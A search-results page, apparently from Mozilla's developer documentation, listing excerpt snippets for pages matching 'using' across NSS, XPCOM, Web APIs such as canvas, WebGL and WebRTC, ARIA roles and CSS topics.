...ng.\n", infilename); rv = secfailure; goto cleanup; } /* sign using private key */ sgn = sgn_newcontext(sec_oid_pkcs1_md5_with_rsa_encryption, pk); if (!sgn) { pr_fprintf(pr_stderr, "unable to create context for signing\n"); rv = secfailure; goto cleanup; } rv = sgn_begin(sgn); if (rv != secsuccess) { pr_fprintf(pr_stderr, "problem while sgn_begin\n"); goto cleanup; } while ((nb = pr_read(infile, ibuf, sizeof(ibuf))) > 0) { rv = sgn_update(sgn, ibuf, nb); if (rv != secsuccess) { pr_fprintf(pr_stderr, "problem while sgn_update\n"); goto cleanup; } } rv = sgn_end(sgn, res); if (rv != secsuccess) { pr_fprintf(pr_stderr, "problem while sgn_end\n"); goto cleanup; } cleanup: if (infile) { pr_close(infile); } if (sgn) { sgn_destroycontext(sgn, pr_true); } return rv; } /* * verify the signature using p...
...And 2 more matches
nss tech note1
it is only required for dynamically allocating memory for the structure if the template is being included from an asn.1 sequence or sequence of, or if dynamic allocation was requested from the parent template using the sec_asn1_pointer modifier here is a description of the various tags and modifiers that apply to the <tt style="color: rgb(0,0,0);">kind field.
...you can specify the class of the tag using the macros sec_asn1_universal, sec_asn1_application, sec_asn1_context_specific and sec_asn1_private.
...if you you are using a tag of a different classes, you can define your own tag number macros or specify the tag value within the template definition.
...And 2 more matches
Introduction to the JavaScript shell
after following the build documentation and installing the built shell using make install, you can run the shell in interactive mode using the command: js [ if you get " symbol lookup error: ./js: undefined symbol: pr_setcurrentthreadname" e.g.
... from a bash console when using a pre-compiled binary, try <path to your firefox's run-mozilla.sh>/run-mozilla.sh ./js -- that worked for me] if you'd like to run the javascript code in the file foo.js, you can use this command: js foo.js to run foo.js then drop into the interactive shell, do this: js -f foo.js -i reference note: because the javascript shell is used as a test environment for the javascript engine, the available options and built-in functions can change over time.
...this may be useful for gaining access to syntax only available in certain versions of javascript (for example, see using javascript 1.7).
...And 2 more matches
JSAPI reference
note: the foss wiki page contains a few links to other libraries and programs that can make life easier when using spidermonkey and the jsapi.
...pi 32 jsval_to_gcthing obsolete since jsapi 32 jsval_to_private obsolete since jsapi 32 a function that behaves like typeof: js_gettypename obsolete since jsapi 34 and functions that behave like the equality operators: js_strictlyequal js_looselyequal js_samevalue memory management these functions act like the standard c malloc family of functions, except that errors are reported using the spidermonkey error apis rather than errno.
...ded in spidermonkey 1.8 js_setgccallbackrt obsolete since jsapi 13 js_setfinalizecallback added in spidermonkey 17 obsolete since jsapi 32 js_markgcthing obsolete since jsapi 5 js_isabouttobefinalized obsolete since jsapi 35 js_clearnewbornroots obsolete since jsapi 5 the rest of these apis help protect objects from being destroyed by the garbage collector before the application is done using them.
...And 2 more matches
Retrieving part of the bookmarks tree
bookmarks are retrieved using the places query system.
... for more basic bookmarks examples, see manipulating bookmarks using places.
...var rootnode = result.root; rootnode.containeropen = true; // iterate over the immediate children of this folder and dump to console for (var i = 0; i < rootnode.childcount; i ++) { var node = rootnode.getchild(i); dump("child: " + node.title + "\n"); } // close a container after using it!
...And 2 more matches
Avoiding leaks in JavaScript XPCOM components
using xpcom in javascript (also known as xpconnect) is an environment where memory management issues are not obvious.
... programmers writing and reviewing javascript code in mozilla should understand how code using xpcom in javascript can leak so that they can avoid leaks.
...if you implement nsiobserver in javascript and register that observer (without using weak references) with a service (for example, with the observer service bug 239833 or with the pref service bug 256822), the service will do exactly what you tell it to do: notify the observer you just created until you unregister the observer.
...And 2 more matches
Language bindings
since the xpcom layer itself is written in c/c++, its api can be accessed out-of-the-box using c or c++.
...the components object is actually a native instance of the nsixpccomponents interface which is reflected into javascript as a top level object using xpconnect.components.classescomponents.classes is a read-only object whose properties are classes indexed by contractid.components.classesbyidcomponents.classesbyid is a read-only object whose properties are classes indexed by cid.components.constructorcreates a javascript function which can be used to create or construct new instances of xpcom components.components.exceptioncomponents.exception ...
...it returns a reference to the clone:components.utils.createobjectincomponents.utils.createobjectin creates a new javascript object in the scope of the specified object's compartment.components.utils.evalinsandboxthe evalinsandbox() function enables you to evaluate javascript code inside a sandbox you've previously created using the components.utils.sandbox constructor.components.utils.evalinwindowthis function enables code running in a more-privileged javascript context to evaluate a string in a less-privileged javascript context.
...And 2 more matches
mozIRegistry
there are some bootstrapping issues related to using the service manager to access the moziregistry interface.
... architecture this diagram illustrates the various components that you will be using to interoperate with other mozilla components.
...these components (indicated by the darker-colored boxes) are the services you'll be using.
...And 2 more matches
nsIAccessibleText
try to avoid using it.
... getselectionbounds() void getselectionbounds( in long selectionnum, out long startoffset, out long endoffset ); parameters selectionnum startoffset endoffset gettext() string methods may need to return multibyte-encoded strings, since some locales can not be encoded using 16-bit chars.
...astring gettext( in long startoffset, in long endoffset ); parameters startoffset endoffset return value gettextafteroffset() string methods may need to return multibyte-encoded strings, since some locales can't be encoded using 16-bit chars.
...And 2 more matches
nsIClassInfo
if the flags attribute has the singleton bit set, then the value of this attribute specifies a classid through which this class can be accessed as a service using nsiservicemanager.getservice().
...if the flags attribute has the singleton bit set, then the value of this attribute specifies a classid through which this class can be accessed as a service using nsiservicemanager.getservice().
...if the flags attribute has the singleton bit set, then the value of this attribute specifies a contractid through which this class may be accessed as a service using nsiservicemanager.getservicebycontractid().
...And 2 more matches
nsIMessenger
setdocumentcharset() redisplay the currently selected message (if any) using the given character set.
...same as just using the openurl() method.
...same as just using the openurl() method.
...And 2 more matches
nsIProtocolHandler
uri_inherits_security_context 1<<4 uris for this protocol have no inherent security context, so documents loaded using this protocol should inherit the security context of the document that loads them.
... uri_dangerous_to_load 1<<7 uris using this protocol are unsafe if loaded by untrusted web content and may only be loaded by privileged code (for example, code that has the system principal).
... uri_does_not_return_data 1<<11 channels using this protocol never call ondataavailable() on the listener passed to asyncopen(), and therefore do not return any usable data.
...And 2 more matches
nsIXMLHttpRequest
try to avoid using it.
...when using the xpcom interface, as seen below in example 2, we can get access to this.
... using event handlers from native code (not sure if it's up-to-date) from native code, the way to set up onload and onerror handlers is a bit different.
...And 2 more matches
nsIXULTemplateQueryProcessor
the member variable may be specified in a similar way using the "member" attribute, or it may be specified in the first <action> body in the template as the value of a uri attribute on an element.
...each result will have the four variables referred to defined for it and the values may be retrieved using the result's nsixultemplateresult.getbindingfor() and nsixultemplateresult.getbindingobjectfor() methods.
...the template builder will call this method once for each query within the template, before any results can be generated using generateresults(), but after initializeforbuilding() has been called.
...And 2 more matches
Storage
binding one set of parameters if you only have one row to insert, or are using the synchronous api you'll need to use this method.
... using named parameters in c++ is a lot more difficult, so it's generally accepted to use numerical placeholders instead.
... in c++, the code would look something like this: bool hasmoredata; while (ns_succeeded(statement->executestep(&hasmoredata)) && hasmoredata) { print32 value; rv = statement->getint32(0, &value); ns_ensure_success(rv, rv); } you can obtain other types of data by using the various methods available on mozistoragevaluearray.
...And 2 more matches
Troubleshooting XPCOM components registration
if using firefox 4 / xulrunner 2.0, make sure that your extension is unpacked and you declared the binary component in your chrome.manifest.
... if your component requires any external libraries, you may need to read using dependent libraries in extension components make sure you are compiling against the right version.
... after clicking ok in the top right, check for any missing dependencies using file -> open -> firefox.exe (or equivalent).
...And 2 more matches
Standard OS Libraries
example: getcursorpos i wanted to get the mouse cursor position without using a mousemove listener, as this is a high overhead event listener.
...'getcursorpos', ctypes.winapi_abi, ctypes.bool, point.ptr ); /* use it like this */ var point = point(); var ret = getcursorpos(point.address()); components.utils.reporterror(ret); components.utils.reporterror(point); lib.close(); resources for winapi githubgists :: noitidart / search · winapi - winapi js-ctypes snippets that can be copied and pasted to scratchpad com see using com from js-ctypes.
...cation(event); cfrelease(event); components.utils.reporterror(cursor); coregraphics.close(); corefoundation.close(); resources for core foundation github :: philikon - osxtypes - javascript modules are auto-generated from the os x header files githubgists :: noitidart / search · corefoundation - corefoundation js-ctypes snippets that can be copied and pasted to scratchpad cocoa see using objective-c from js-ctypes for more info.
...And 2 more matches
Streams - Plugins
« previousnext » this chapter describes using plug-in api functions to receive and send streams.
... np_asfileonly: this plug-in gets full random access to the data using platform-specific file operations.
... for an example that demonstrates using this function with npn_write and npn_destroystream, see "example of sending a stream." pushing data into the stream after creating a stream with npn_newstream, the plug-in can call npn_write to deliver a buffer of data from the plug-in to the browser.
...And 2 more matches
Browser Console - Firefox Developer Tools
if you also want to use the other web developer tools in the regular web toolbox with add-on or browser code, consider using the browser toolbox.
... similarly, you can execute javascript expressions using the browser console.
...this means you can interact with all the browser's tabs using the gbrowser global, and even with the xul used to specify the browser's user interface.
...And 2 more matches
Network request details - Firefox Developer Tools
headers toolbar using the headers toolbar, you can: filter the headers in the response headers and request headers sections.
...(there may be some exceptions, such as x-firefox-spdy, which is added by firefox.) you can copy some or all of the response header in json format by using the context menu: if you select copy, a single key word, value pair is copied.
...in firefox this defaults to 6, but can be changed using the network.http.max-persistent-connections-per-server preference.
...And 2 more matches
Attr - Web APIs
WebAPIAttr
ownerdocument you shouldn't have been using this in the first place, so you probably don't care that this is going away.
... clonenode() you shouldn't have been using this in the first place, so you probably don't care that this is going away.
... issupported() you shouldn't have been using this in the first place, so you probably don't care that this is going away.
...And 2 more matches
CacheStorage - Web APIs
the interface: provides a master directory of all the named caches that can be accessed by a serviceworker or other type of worker or window scope (you’re not limited to only using it with service workers, even though the service workers spec defines it).
...those that aren't using https, although this definition will likely become more complex in the future.) when testing, you can get around this by checking the "enable service workers over http (when toolbox is open)" option in the firefox devtools options/gear menu.
...this consists of calling cachestorage.open to create a new cache, then using cache.addall to add a series of assets to it.
...And 2 more matches
Basic animations - Web APIs
« previousnext » since we're using javascript to control <canvas> elements, it's also very easy to make (interactive) animations.
...the easiest way to do this is using the clearrect() method.
... controlling an animation shapes are drawn to the canvas by using the canvas methods directly or by calling custom functions.
...And 2 more matches
Basic usage of canvas - Web APIs
these are both optional and can also be set using dom properties.
... note: if your renderings seem distorted, try specifying your width and height attributes explicitly in the <canvas> attributes, and not using css.
...once you have the element node, you can access the drawing context using its getcontext() method.
...And 2 more matches
Transformations - Web APIs
if we hadn't saved the state using save(), we would need to change the fill color and transparency manually in order to return to the previous state.
... in the draw() function, we call the fillrect() function nine times using two for loops.
...to change the center point, we will need to move the canvas by using the translate() method.
...And 2 more matches
Channel Messaging API - Web APIs
channel messaging concepts and usage a message channel is created using the messagechannel() constructor.
... once created, the two ports of the channel can be accessed through the messagechannel.port1 and messagechannel.port2 properties (which both return messageport objects.) the app that created the channel uses port1, and the app at the other end of the port uses port2 — you send a message to port2, and transfer the port over to the other browsing context using window.postmessage along with two arguments (the message to send, and the object to transfer ownership of, in this case the port itself.) when these transferable objects are transferred, they are 'neutered' on the previous context — the one they previously belonged to.
... the other browsing context can listen for the message using messageport.onmessage, and grab the contents of the message using the event's data attribute.
...And 2 more matches
console - Web APIs
WebAPIConsole
there are four categories of output you can generate, using the console.log(), console.info(), console.warn(), and console.error() methods respectively.
...the object is: ({str:"some text", id:5}) using string substitutions when passing a string to one of the console object's methods that accepts a string (such as log()), you may use these substitution strings: %o or %o outputs a javascript object.
... styling console output you can use the %c directive to apply a css style to console output: console.log("this is %cmy stylish message", "color: yellow; font-style: italic; background-color: blue;padding: 2px"); the text before the directive will not be affected, but the text after the directive will be styled using the css declarations in the parameter.
...And 2 more matches
Document.evaluate() - Web APIs
WebAPIDocumentevaluate
using // is generally slow as it visits every node from the root and all subnodes looking for possible matches.
...if the "." was left out (leaving //h2) the query would start from the root node (html) which would be more wasteful.) see introduction to using xpath in javascript for more information.
... while using document.evaluate() works in ff2, in ff3 one must use somexmldoc.evaluate() if evaluating against something other than the current document.
...And 2 more matches
Document.querySelector() - Web APIs
note: the matching is done using depth-first pre-order traversal of the document's nodes starting with the first element in the document's markup and iterating through sequential nodes by order of the number of child nodes.
...see locating dom elements using selectors for more about selectors and how to manage them.
... note: characters that are not part of standard css syntax must be escaped using a backslash character.
...And 2 more matches
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
once we have created the <table>, <tbody>, <tr>, and <td> elements, and then the text node, we then append each object to its parent in the opposite order: first, we attach each text node to its parent <td> element using cell.appendchild(celltext); next, we attach each <td> element to its parent <tr> element using row.appendchild(cell); next, we attach each <tr> element to the parent <tbody> element using tblbody.appendchild(row); next, we attach the <tbody> element to its parent <table> element using tbl.appendchild(tblbody); next, we attach the <table> element to its parent <body> element u...
... here's the dom object tree generated by the code for the <table> element and its child elements: you can build this table and its internal child elements by using just a few dom methods.
...ground = "rgb(255,0,0)"; } in this example, we set the myp variable to the dom object for the second p element inside the body: first, we get a list of all the body elements via mybody = document.getelementsbytagname("body")[0] since there is only one body element in any valid html document, this list will have only one item, which we retrieve by selecting the first element in that list using [0].
...And 2 more matches
FileReader - Web APIs
the filereader object lets web applications asynchronously read the contents of files (or raw data buffers) stored on the user's computer, using file or blob objects to specify the file or data to read.
... file objects may be obtained from a filelist object returned as a result of a user selecting files using the <input> element, from a drag and drop operation's datatransfer object, or from the mozgetasfile() api on an htmlcanvaselement.
... see using files from web applications for details and examples.
...And 2 more matches
GlobalEventHandlers.onerror - Web APIs
error events are fired at various targets for different kinds of errors: when a javascript runtime error (including syntax errors and exceptions thrown within handlers) occurs, an error event using interface errorevent is fired at window and window.onerror() is invoked (as well as handlers attached by window.addeventlistener (not only capturing)).
... when a resource (such as an <img> or <script>) fails to load, an error event using interface event is fired at the element that initiated the load, and the onerror() handler on the element is invoked.
... a good example for this is when you are using an image tag, and need to specify a backup image in case the one you need is not available on the server for any reason.
...And 2 more matches
HTMLImageElement.alt - Web APIs
for compatibility reasons, browsers generally will accept an image without an alt attribute, but you should try to get into the habit of using it.
... examples beyond that, there are additional guidelines for using alt appropriately which vary depending on what the image is being used for.
... view the css editors: if you change the css below, please be sure to close the details box using the toggle at the top of the css view before saving.
...And 2 more matches
Drag Operations - Web APIs
starting a drag operation in this example, a listener is added for the dragstart event by using the ondragstart attribute.
...it is usually the case that the least specific type will be normal text data using the type text/plain.
... you can clear the data using the cleardata() method, which takes one argument: the type of the data to remove.
...And 2 more matches
Recommended Drag Types - Web APIs
you may also include a plain text representation of the html or xml data using the text/plain type.
...for instance: var dt = event.datatransfer; dt.setdata("text/html", "hello there, <strong>stranger</strong>"); dt.setdata("text/plain", "hello there, stranger"); dragging files a local file is dragged using the application/x-moz-file type with a data value that is an nsifile object.
... event.datatransfer.mozsetdataat("application/x-moz-file", file, 0); if possible, include the file url of the file using both the text/uri-list and text/plain types.
...And 2 more matches
IDBTransaction - Web APIs
the idbtransaction interface of the indexeddb api provides a static, asynchronous transaction on a database using event handler attributes.
...this can be prevented by using preventdefault() on the error event on the request.
...you're storing critical data that cannot be recomputed later) you can force a transaction to flush to disk before delivering the complete event by creating a transaction using the experimental (non-standard) readwriteflush mode (see idbdatabase.transaction.
...And 2 more matches
Browser storage limits and eviction criteria - Web APIs
different types of data storage even in the same browser, using the same storage method, there are different classes of data storage to understand.
...this will only be evicted if the user chooses to (for example, in firefox you can choose to delete all stored data or only stored data from selected origins by going to preferences and using the options under privacy & security > cookies & site data).
... storage is temporary by default; developers can choose to use persistent storage for their sites using the storagemanager.persist() method available in the storage api.
...And 2 more matches
KeyboardEvent.code - Web APIs
this property is useful when you want to handle keys based on their physical positions on the input device rather than the characters associated with those keys; this is especially common when writing code to handle input for games that simulate a gamepad-like environment using keys on the keyboard.
...that makes it impossible to use the value of code to determine what the name of the key is to users if they're not using an anticipated keyboard layout.
...this will use the same four keys physically regardless of what the actual corresponding characters are, such as if the user is using an azerty keyboard.
...And 2 more matches
MediaRecorder.onerror - Web APIs
you can provide an event handler to deal with errors that occur while creating or using a media recorder.
...in addition to other general errors that might occur, the following errors are specifically possible when using the mediastream recording api; to determine which occurred, check the value of mediarecordererrorevent.error.name.
...this may be the case, for example, with sources obtained using getusermedia() when the user denies permission to use an input device.
...And 2 more matches
MediaStreamAudioSourceNode - Web APIs
the mediastreamaudiosourcenode interface is a type of audionode which operates as an audio source whose media is received from a mediastream obtained using the webrtc or media capture and streams apis.
... this media could be from a microphone (through getusermedia()) or from a remote peer on a webrtc call (using the rtcpeerconnection's audio tracks).
... a mediastreamaudiosourcenode has no inputs and exactly one output, and is created using the audiocontext.createmediastreamsource() method.
...And 2 more matches
Capabilities, constraints, and settings - Web APIs
overview the process works like this (using mediastreamtrack as an example): if needed, call mediadevices.getsupportedconstraints() to get the list of supported constraints, which tells you what constrainable properties the browser knows about.
... constraints which are specified using any or all of max, min, or exact are always treated as mandatory.
...the actual settings the browser selected and is using are shown in the boxes on the right.
...And 2 more matches
Microdata DOM API - Web APIs
the type(s) of items can be obtained using the element.itemtype idl attribute on the element with the itemscope attribute.
... code example this sample shows how the getitems() method can be used to obtain a list of all the top-level microdata items of a particular type given in the document: var cats = document.getitems("http://example.com/feline"); once an element representing an item has been obtained, its properties can be extracted using the properties idl attribute.
... code example this sample gets the first item of type "http://example.net/user" and then pops up an alert using the "name" property from that item.
...And 2 more matches
OffscreenCanvas - Web APIs
given these two <canvas> elements <canvas id="one"></canvas> <canvas id="two"></canvas> the following code will provide the rendering using an offscreencanvas as described above.
...some drawing for the first canvas using the gl context ...
...some more drawing for the second canvas using the gl context ...
...And 2 more matches
PaymentRequest.show() - Web APIs
usage notes the most common patterns for using show() involve either the async/await syntax or the use of show().then().catch() to handle the response and any possible rejection.
... those look like this: async/await syntax using await to wait for a promise to be resolved makes it possible to write the code to handle payments particularly cleanly: async function processpayment() { try { const payrequest = new paymentrequest(methoddata, details, options); payrequest.onshippingaddresschange = ev => ev.updatewith(checkaddress(payrequest)); payrequest.onshippingoptionchange = ev => ev.updatewith(checkshipping(payrequest)); const repsonse = await payrequest.show(); await validateresponse(response); } catch(err) { /* handle the error; aborterror usually means a user cancellation */ } } in this code, the methods checkaddress() and checkshipping(), respectively, check the shipping address and the shipping option changes and supply in response e...
... then/catch syntax you can also use the older promise-based approach to work with payments, using the then() and catch() functions on the promise returned by show(): function processspayment() { const payrequest = new paymentrequest(methoddata, details, options); payrequest.onshippingaddresschange = ev => ev.updatewith(checkaddress(payrequest)); payrequest.onshippingoptionchange = ev => ev.updatewith(checkshipping(payrequest)); payrequest.show() .then(response => validaterespon...
...And 2 more matches
RTCPeerConnection.createDataChannel() - Web APIs
negotiated optional by default (false), data channels are negotiated in-band, where one side calls createdatachannel, and the other side listens to the rtcdatachannelevent event using the ondatachannel eventhandler .
... the options which can be configured using the rtcdatachannelinit dictionary represent the script-settable subset of the properties on the rtcdatachannel interface.
... return value a new rtcdatachannel object with the specified label, configured using the options specified by options if that parameter is included; otherwise, the defaults listed above are established.
...And 2 more matches
SharedWorker - Web APIs
the different scripts are using the same worker file to perform the calculation — they can both access it, even if their pages are running inside different windows.
... the following code snippet shows creation of a sharedworker object using the sharedworker() constructor.
... both scripts contain this: var myworker = new sharedworker('worker.js'); both scripts then access the worker through a messageport object created using the sharedworker.port property.
...And 2 more matches
SubtleCrypto.decrypt() - Web APIs
if using rsa-oaep, this is the privatekey property of the cryptokeypair object.
... rsa-oaep this code decrypts ciphertext using rsa-oaep.
... function decryptmessage(privatekey, ciphertext) { return window.crypto.subtle.decrypt( { name: "rsa-oaep" }, privatekey, ciphertext ); } aes-ctr this code decrypts ciphertext using aes in ctr mode.
...And 2 more matches
WebGLRenderingContext.compressedTexImage[23]D() - Web APIs
compressed image formats must be enabled by webgl extensions before using these methods.
...compressed image formats must be enabled by webgl extensions before using this method.
...possible values: when using the webgl_compressed_texture_s3tc extension: ext.compressed_rgb_s3tc_dxt1_ext ext.compressed_rgba_s3tc_dxt1_ext ext.compressed_rgba_s3tc_dxt3_ext ext.compressed_rgba_s3tc_dxt5_ext when using the webgl_compressed_texture_s3tc_srgb extension: ext.compressed_srgb_s3tc_dxt1_ext ext.compressed_srgb_alpha_s3tc_dxt1_ext ext.compressed_srgb_alpha_s3tc_dxt3_ext ext.compressed_srgb_alpha_s3tc_dxt5_ext when using the webgl_compressed_texture_etc extension: ext.compressed_r11_eac ext.compressed_signed_r11_eac ext.compressed_rg11_eac ext.compressed_signed_rg11_eac ext.c...
...And 2 more matches
WebGLRenderingContext.compressedTexSubImage2D() - Web APIs
compressed image formats must be enabled by webgl extensions before using this method or a webgl2renderingcontext must be used.
...compressed image formats must be enabled by webgl extensions before using this method.
... possible values: when using the webgl_compressed_texture_s3tc extension: ext.compressed_rgb_s3tc_dxt1_ext ext.compressed_rgba_s3tc_dxt1_ext ext.compressed_rgba_s3tc_dxt3_ext ext.compressed_rgba_s3tc_dxt5_ext when using the webgl_compressed_texture_s3tc_srgb extension: ext.compressed_srgb_s3tc_dxt1_ext ext.compressed_srgb_alpha_s3tc_dxt1_ext ext.compressed_srgb_alpha_s3tc_dxt3_ext ext.compressed_srgb_alpha_s3tc_dxt5_ext when using the webgl_compressed_texture_etc extension: ext.compressed_r11_eac ext.compressed_signed_r11_eac ext.compressed_rg11_eac ext.compressed_signed_rg11_eac ext.compressed_rgb8_etc2 ext.compressed_rgba8_etc2_eac ext.compressed_srgb8_etc2 ext.compressed_srgb8_alpha8_etc2_eac ...
...And 2 more matches
WebGLRenderingContext.getFramebufferAttachmentParameter() - Web APIs
when using a webgl 2 context, the following values are available additionally: gl.draw_framebuffer: equivalent to gl.framebuffer.
... when using a webgl 2 context, the following values are available additionally: gl.color_attachment1 gl.color_attachment2 gl.color_attachment3 gl.color_attachment4 gl.color_attachment5 gl.color_attachment6 gl.color_attachment7 gl.color_attachment8 gl.color_attachment9 gl.color_attachment10 gl.color_attachment11 gl.color_attachment12 gl.color...
..._attachment13 gl.color_attachment14 gl.color_attachment15 when using the webgl_draw_buffers extension: ext.color_attachment0_webgl (same as gl.color_attachment0) ext.color_attachment1_webgl ext.color_attachment2_webgl ext.color_attachment3_webgl ext.color_attachment4_webgl ext.color_attachment5_webgl ext.color_attachment6_webgl ext.color_attachment7_webgl ext.color_attachment8_webgl ext.color_attachment9_webgl ext.color_attachment10_webgl ext.color_attachment11_webgl ext.color_attachment12_webgl ext.color_attachment13_webgl ext.color_attachment14_webgl ext.color_attachment15_webgl pname a glenum specifying information to query.
...And 2 more matches
WebGLRenderingContext.makeXRCompatible() - Web APIs
examples this example demonstrates code logic you might find in a game that starts up using webgl to display menus and other ui, and uses webgl to render gameplay, but has a button on its main menu that offers an option to start the game in webxr mode.
... javascript the code that handles starting up graphics, switching to vr mode, and so forth looks like this: const outputcanvas = document.queryselector(".output-canvas"); const gl = outputcanvas.getcontext("webgl"); let xrsession = null; let usingxr = false; let currentscene = "scene1"; let glstartbutton; let xrstartbutton; window.addeventlistener("load", (event) => { loadsceneresources(currentscene); glstartbutton.addeventlistener("click", handlestartbuttonclick); xrstartbutton.addeventlistener("click", handlestartbuttonclick); }); outputcanvas.addeventlistener("webglcontextlost", (event) => { /* the context has been lost but c...
...plemessagebox("you don't appear to have a compatible xr headset available.", "cancel"); break; default: handlefatalerror(err); break; } xrsession.end(); } } async function handlestartbuttonclick(event) { if (event.target.classlist.contains("use-webxr") && navigator.xr) { try { xrsession = await navigator.xr.requestsession("immersive-vr"); usingxr = true; } catch(err) { xrsession = null; usingxr = false; } } startgame(); } function startgame() { currentscene = "scene1"; loadsceneresources(currentscene); /* and so on */ } this works by having two buttons, one which starts the game normally and the other which starts the game in vr mode.
...And 2 more matches
WebGLRenderingContext.vertexAttribPointer() - Web APIs
possible values: gl.byte: signed 8-bit integer, with values in [-128, 127] gl.short: signed 16-bit integer, with values in [-32768, 32767] gl.unsigned_byte: unsigned 8-bit integer, with values in [0, 255] gl.unsigned_short: unsigned 16-bit integer, with values in [0, 65535] gl.float: 32-bit ieee floating point number when using a webgl 2 context, the following values are available additionally: gl.half_float: 16-bit ieee floating point number normalized a glboolean specifying whether integer data values should be normalized into a certain range when being cast to a float.
... when using a webgl 2 context, a gl.invalid_operation error is thrown if this vertex attribute is defined as a integer in the vertex shader (e.g.
... if you are using webgl 2, you can specify the index yourself in the vertex shader code and override the default used by the graphics card, e.g.
...And 2 more matches
WebGL tutorial - Web APIs
before you start using the <canvas> element is not very difficult, but you do need a basic understanding of html and javascript.
... adding 2d content to a webgl context how to render simple flat shapes using webgl.
... using shaders to apply color in webgl demonstrates how to add color to shapes using shaders.
...And 2 more matches
Introduction to the Real-time Transport Protocol (RTP) - Web APIs
this lets data sent using rtp be delivered on transports that don't guarantee ordering or even guarantee delivery at all.
... leveraging rtp to implement a "hold" feature because the streams for an rtcpeerconnection are implemented using rtp and the interfaces above, you can take advantage of the access this gives you to the internals of streams to make adjustments.
... this triggers renegotiation of the rtcpeerconnection by sending it a negotiationneeded event, which your code responds to generating an sdp offer using rtcpeerconnection.createoffer and sending it through the signaling server to the remote peer.
...And 2 more matches
Writing WebSocket servers - Web APIs
the websocket handshake first, the server must listen for incoming socket connections using a standard tcp socket.
...although all frames follow the same specific format, data going from the client to the server is masked using xor encryption (with a 32-bit key).
...note: you must mask messages even when using a secure socket.
...And 2 more matches
XRTargetRayMode - Web APIs
targeting may be done by looking at the target using a gaze-tracking system, pointing at the target with a hand controller, glove, or motion-tracking system, or by tapping or clicking on the target using a finger on a screen or with a mouse.
... values gaze the user is using a gaze-tracking system (or gaze input) which detects the direction in which the user is looking.
... screen the direction of the target ray is indicated using a tap on a touch screen, mouse, or other tactile input device.
...And 2 more matches
ARIA: Mark role - Accessibility
the commented section is marked up using <span role="mark">.
...cendo that peaks at the <span role="mark" aria-details="thread-1">end of the guitar solo</span>, before fading away sharply.</p> <div role="comment" id="thread-1" data-author="chris"> <h3>chris said</h3> <p class="comment-text">i really think this moment could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> </div> the related comment is marked up using an html structure wrapped with a <div> containing role="comment".
...using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page.
...And 2 more matches
ARIA: Navigation Role - Accessibility
using the <nav> element will automatically communicate a section has a role of navigation.
... developers should always prefer using the correct semantic html element over using aria.
...using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page.
...And 2 more matches
ARIA: Region role - Accessibility
using the <section> element will automatically communicate a section has a role of region if it is given an accessible name.
... developers should always prefer using the correct semantic html element, in this case <section>, over using aria.
...using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page.
...And 2 more matches
Perceivable - Accessibility
perceivable states that users must be able to perceive it in some way, using one or more of their senses.
... decorative images should be implemented using css background images (see backgrounds).
...these are associated unambiguously using the <label> element, which can be picked up by screenreaders, etc.
...And 2 more matches
@media - CSS: Cascading Style Sheets
WebCSS@media
note: in javascript, the rules created using @media can be accessed with the cssmediarule css object model interface.
... /* at the top level of your code */ @media screen and (min-width: 900px) { article { padding: 1rem 3rem; } } /* nested within another conditional at-rule */ @supports (display: flex) { @media screen and (min-width: 900px) { article { display: flex; } } } for a discussion of media query syntax, please see using media queries.
...except when using the not or only logical operators, the media type is optional and the all type will be implied.
...And 2 more matches
Detecting CSS animation support - CSS: Cascading Style Sheets
css animations make it possible to do creative animations of content using nothing but css.
... however, there are likely to be times when this feature isn't available, and you may wish to handle that case by using javascript code to simulate a similar effect.
... animating using the correct syntax for different browsers now that you know if css animation is supported or not, we can animate.
...And 2 more matches
Aligning Items in a Flex Container - CSS: Cascading Style Sheets
i have targeted the first item using a first-child selector and set that item to align-self: stretch; another item has been selected using its class of selected and given align-self: center.
... alignment and flex-direction the start line will also change if you change the flex-direction property — for example using row-reverse instead of row.
... while this may all seem a little confusing, the rule to remember is that unless you do something to change it, flex items lay themselves out in the direction that words are laid out in the language of your document along the inline, row axis.
...And 2 more matches
Controlling Ratios of Flex Items Along the Main Axis - CSS: Cascading Style Sheets
how is this worked out for items that don’t have a width or a height applied using an absolute length unit?
...this is a newer keyword and has less browser support, however you can always get the same effect by using auto as the flex-basis and ensuring that your item does not have a width set, in order that it will be auto-sized.
... combining flex-grow and flex-basis things can get confusing in terms of how flex-grow and flex-basis interact.
...And 2 more matches
Relationship of flexbox to other layout methods - CSS: Cascading Style Sheets
however if you are planning on using writing modes in your layout, carefully testing the results is advisable — not least because it would be easy to make things hard to read!
... you can use the box alignment properties across both layout methods, so using flexbox as a fallback for grid layout can work very well.
... if we create a very similar layout using grid, we can control the layout in both rows and columns.
...And 2 more matches
Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
if you have created additional rows using the grid-template-rows property then grid will continue placing items in these rows.
...this means that they will contain the content added to them without causing an overflow.
...using the property grid-auto-flow with a value of column.
...And 2 more matches
Basic concepts of Logical Properties and Values - CSS: Cascading Style Sheets
i have a layout using css grid, the grid container has a width applied and i am using the align-self and justify-self properties to align the items.
... if i now change the writing mode of this component to vertical-rl using the writing-mode property, the alignment continues to work in the same way.
... if instead of the width property we use the logical property inline-size, the component now works the same way no matter which writing mode it is displayed using.
...And 2 more matches
Overview of CSS Shapes - CSS: Cascading Style Sheets
the specification defines four <basic-shape> values, which are: inset() circle() ellipse() polygon() using the value inset() wraps text around a rectangular shape however you are able to add offset values, thus pulling the line boxes of any wrapping content closer to the object than would otherwise happen.
... in this next example, we have an image with a fully transparent area, and we are using an image as the url value for shape-outside.
... using generated content as the floated item in the examples above we have used images or a visible element to define the shape, meaning that you can see the shape on the page.
...And 2 more matches
Shorthand properties - CSS: Cascading Style Sheets
using a shorthand property, you can write more concise (and often more readable) style sheets, saving time and energy.
...similarly, the most common font-related properties can be defined using the shorthand font, and the different margins around a box can be defined using the margin shorthand.
... tricky edge cases even if they are very convenient to use, there are a few edge cases to keep in mind when using them: a value which is not specified is set to its initial value.
...And 2 more matches
<blend-mode> - CSS: Cascading Style Sheets
syntax the <blend-mode> data type is defined using a keyword value chosen from the list below.
